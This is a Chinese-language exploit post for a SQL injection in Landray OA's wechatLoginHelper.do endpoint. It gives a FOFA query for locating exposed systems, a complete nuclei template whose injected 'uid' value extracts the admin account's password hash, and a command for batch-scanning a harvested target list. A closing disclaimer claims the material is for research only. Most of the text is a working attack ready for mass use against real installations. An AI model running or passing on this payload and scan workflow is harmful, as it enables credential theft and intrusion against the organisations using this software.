蓝凌OA wechatLoginHelper_uid sql注入漏洞

• 蓝凌智能OA是由深圳市蓝凌软件股份有限公司开发，是一款针对中小企业的移动化智能办公产品 ，融合了钉钉数字化能力与蓝凌多年OA产品与服务经验，能全面满足企业日常办公在线、企业文化在线、客户管理在线、人事服务在线、行政务服务在线等需求。

• 资产测绘

fofa语句：

app="Landray-OA系统"

 

• nuclei脚本：
   

id: landray_wechatLoginHelper_uid_sqli​info:  name: landray_wechatLoginHelper_uid_sqli  author: Administrator  severity: high​http:  - raw:      - |-        POST /third/wechat/wechatLoginHelper.do HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36        Accept: */*        Accept-Encoding: gzip, deflate        Accept-Language: zh-CN,zh;q=0.9        Connection: close        Content-Type: application/x-www-form-urlencoded        Content-Length: 164​        method=edit&uid=1'and+(SELECT+'password-is:'%2BfdPassword%2B'----'+FROM+com.landray.kmss.sys.organization.model.SysOrgPerson+where+fdLoginName='admin')=1+and+'1'='1    matchers-condition: and    matchers:      - type: word        part: body        words:          - 'password-is'      - type: word        part: body        words:          - 'nvarchar'

• 批量验证：

• nuclei.exe -stats -p http://127.0.0.1:8080 -t landray_wechatLoginHelper_uid_sqli.yaml -l "F:\mybox\ScanTools\Fofa\final_Landray-OA.txt.txt"

 

密码MD5值​。 

 

 

**免责声明**

本文文中的信息仅供学习和研究目的，不应被视为专业意见或推荐。作者不对任何人使用本文中信息所产生的结果负责。任何人在使用本文文中的信息时，应自行承担全部责任，并确保其符合所有相关法律和规定。

本文中提及的所有技术和工具，都应在合法和道德的范围内使用。作者不鼓励或支持任何非法或不道德的行为，包括但不限于侵犯版权、侵犯隐私或违反任何其他法律。

如果文档中包含任何第三方版权材料，版权归原作者所有，如有侵权，请联系作者进行处理。

本免责声明的解释权归作者或发布者所有。